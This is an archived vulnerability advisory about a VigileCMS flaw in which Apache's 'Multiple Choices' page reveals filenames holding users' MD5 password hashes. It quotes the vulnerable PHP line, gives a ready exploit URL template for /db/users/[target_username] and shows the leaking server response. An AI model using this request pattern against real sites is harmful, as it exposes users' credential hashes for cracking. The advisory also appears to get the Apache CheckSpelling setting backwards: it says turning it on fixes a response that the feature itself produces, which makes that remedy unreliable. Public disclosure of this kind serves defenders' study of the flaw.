Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: tb13148.htm

VigileCMS All Versions DataMining Remote Hash Disclosure



VigileCMS All Versions DataMining Remote Hash Disclosure
VigileCMS All Versions DataMining Remote Hash Disclosure



---------------------------------------------------------------=0D
 ____            __________         __             ____  __   =0D
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ =0D
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\=0D
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  =0D
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  =0D
          \/\______|      \/     \/                         =0D
---------------------------------------------------------------=0D
=0D
Http://www.inj3ct-it.org 	 Staff[at]inj3ct-it[dot]org =0D 
=0D
---------------------------------------------------------------=0D
=0D
VigileCMS All Versions DataMining Remote Hash Disclosure =0D
	(Works only whit Checkspelling off)=0D
=0D
---------------------------------------------------------------=0D
=0D
#By KiNgOfThEwOrLd=0D
=0D
---------------------------------------------------------------=0D
PoC:=0D
=0D
In apache, if the checkspelling propriety retourn "off", the HTTP error 300 (Multiple Chois) is probably actived. So, VigileCMS, doesn't use any database, but save the users credentials in a php file. Let's read the code..=0D
=0D
 $fp=fopen(USERS_TAB."/$_POST[utente].$md5.php","w");=0D
=0D
This script make a file called username.md5hash.php located in /db/users . Surelly, while the developer was writing this code, he thought that nobody can find this file if he doesn't know the target md5...but usign the HTTP error, we can do it! We need to know only the target username!=0D
---------------------------------------------------------------=0D
Exploit:=0D
=0D
http://[target]/[vigilecms_path]/db/users/[target_username]=0D 
---------------------------------------------------------------=0D
In fact, if we try to visit that url, the server will answer:=0D
---------------------------------------------------------------=0D
Multiple Choices=0D
The document name you requested (/db/users/[target_username]) could not be found on this server. However, we found documents with names similar to the one you requested.=0D
=0D
Available documents: =0D
/db/users/[target_username].[target_md5_hash].php (common basename) =0D
---------------------------------------------------------------=0D
How to fix:=0D
=0D
Set "Checkspelling ON" on your apache.=0D
---------------------------------------------------------------


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH